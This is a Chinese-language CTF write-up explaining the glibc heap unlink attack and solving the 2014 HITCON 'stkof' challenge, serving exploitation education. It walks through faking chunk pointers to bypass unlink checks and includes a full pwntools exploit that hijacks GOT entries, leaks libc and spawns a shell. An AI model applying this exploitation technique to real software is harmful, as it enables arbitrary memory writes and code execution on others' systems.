Unlink-2014-HITCON-stkof

在free堆块时,要满足释放的该chunk不在tcache(带着chunkhead,0x410)或fastbin(0x80)范围内,free的chunk物理地址前或后有freechunk时会进行unlink操作,unlink就是把这个chunk从双向链表里拿下来

调用关系大致如下

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

unlink是一个宏

#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

Unlink这里会有几个检测

  • 检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
  • 检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
  • 经常被释放chunk的fd的bk是否指向p,被释放chunk的bk的fd是否指向p

我们着重分析一下这里

FD = P->fd;                                      
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;

我们怎么绕过检测通过unlink实现任意地址读写呢

在64位程序下,我们被unlink的chunk是P

我们伪造chunk P

P->fd = target addr -0x18

P->bk = expect value

FD = P->fd = target-0x18

BK = P->bk = expect value

FD->bk = BK —>*(target-0x18+0x18)=*(P->fd+0x18)=BK=expect value

BK->fd = FD —>*(expect value+0x10)=FD=target-0x18=P->fd

实现了任意地址读写但是没有绕过 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

也就是我们需要*(FD+0x18)=P *(BK+0x10)=P

如果我们可以在堆地址的某个地方伪造或者找到一个合适fake_chunk,这个chunk地址可以泄露出来,且符合=P要求,我们把这个地址写到chunk P的fd和bk,在unlink时会发生什么呢

通过上面的分析,可以得知,

  • 第一步*(target)||*(P->fd+0x18)写入expect value||BK
  • 第二步会在*(expect value+0x10)||*(p->bk+10)写入target-0x18||P->fd
  • 如果我们可以控制这个地址内容,也就是可以using after free,通过修改该地址内容就可以实现hook

2014 HITCON stkof

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof

grxer@Ubuntu16 ~/D/p/heap> checksec stkof
[*] '/home/grxer/Desktop/pwn/heap/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序里有用的功能

  • alloc分配内存,并写到bss段0x602140的全局数组里
  • free释放并置零指针,好评尼
  • fill填充申请堆区
signed __int64 fill()
{
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
size = atoll(s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
return 0xFFFFFFFFLL;
else
return 0LL;
}

这里的fill是有漏洞的,我们可以限定大小的堆里写入任意大小的数据造成堆溢出

堆溢出给了我们伪造unlink_chunk的机会,global指针数组给了我们伪造fd bk绕过检测的机会

缓冲区问题

alloc(16)
alloc(32)
alloc(48)

我们这里先alloc三个堆块

image-20230314233831972

这里发现多了两个堆块在alloc(16)中间,这是因为程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。在第一个malloc时,刚好有fget和printf

第一个chunk被包围不好利用,所以我们选择绕过第一个

实现fill地址可控

这里我们申请三个堆块,

alloc(0x10)
alloc(0x30)
alloc(0x80)

利用堆溢出,可以伪造unlink——chunk,我们选择在堆块二伪造

chunkhead需要0x10字节,fd bk需要0x10字节,后面数据需要0x10字节,第二个堆块至少0x30

第三个堆块需要在free的时候出发unlink操作,需要大于fastbin最大容量,申请0x80即可

  • chunkhead伪造p64(0x0)+p64(0x30)即可
  • fd和bk这里我们需要FD->bk = P && BK->fd = P
    • 这里我们可以利用globa指针数组里内容伪造双向链表
    • 这时候我们的伪造unlink堆P=0x0000000002c87450我们选取0x602138作为fd刚好满足FD->bk = P
    • image-20230315001634637
    • 选取0x602140作为bk刚好满足BK->fd = P
    • image-20230315001757168
    • 这里我们只需要关系FD的bk和BK的fd就好其他和我们unlink无关比如说我们FD的fd,我管你指向谁,我们不关心

payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666)

伪造好unlinkchunk,伪造chunk3,把prevsize改写为伪造chunk大小,把size PREV_INUSE位置零

payload += p64(0x30)+p64(0x90)

然后我们去释放chunk3 触发unlink

按照我们先前的分析

  • 先把fd+0x18=0x602138+0x18=0x602150地址写入bk=0x602140
  • 再把bk+0x10=0x602140+0x10=0x602150地址写入fd=0x602138

image-20230315002921373

和分析一样

任意地址读写,leak数据,拿shell走人

这样我们fill chunk2时就可以,修改全局指针数组为任何地址,再通过fill修改这个地址为任何值

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)

edit(2,len(payload),payload)

这样s[0]=free_got,s[1]=puts_got,s[2]=atoi_got

image-20230315005329559

payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)

先把freegot改为puts plt,这样free(1)==puts(puts_got)

leak出libc后

payload = p64(system)
edit(2,len(payload),payload)

把atoi_got改为system。利用choice = atoi(nptr);在输入时构造binsh即可payload = ‘/bin/sh\x00’
io.sendline(payload)

image-20230315010413491

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./stkof'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def alloc(size):
io.sendline(b'1')
io.sendline(str(size).encode())
io.recvuntil(b'OK\n')


def edit(idx, size, content):
io.sendline(b'2')
io.sendline(str(idx).encode())
io.sendline(str(size).encode())
io.send(content)
io.recvuntil(b'OK\n')


def free(idx):
io.sendline(b'3')
io.sendline(str(idx).encode())
# db('b* 0x4009E6')#alloc
db('b* 0x400AE3')#edit
# db('b *0x400BA7') #free
head=0x602140
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
alloc(0x10)
alloc(0x30)
alloc(0x80)
payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666)
payload += p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
free(3)

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)
ru(b'OK\n')
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
bin=libc.dump('str_bin_sh')+base
payload = p64(system)
edit(2,len(payload),payload)
payload = '/bin/sh\x00'
io.sendline(payload)
io.interactive()

总结

如果我们找到或伪造地址里面的值是伪造的chunkP的地址值

  • 一个地址

    我们把该地址tar,tar-0x18填入fd绕过FD+0x18=P,tar-0x10填入bk绕过BK+0x10=P

    最终实现效果是在该tar地址写入tar-0x18

  • 两个地址

    tar1 和 tar2 tar1-0x18写入fd,tar2-0x10写入bk

    tar1地址写入tar2-0x10|bk值

    tar2地址写入tar1-0x18|fd值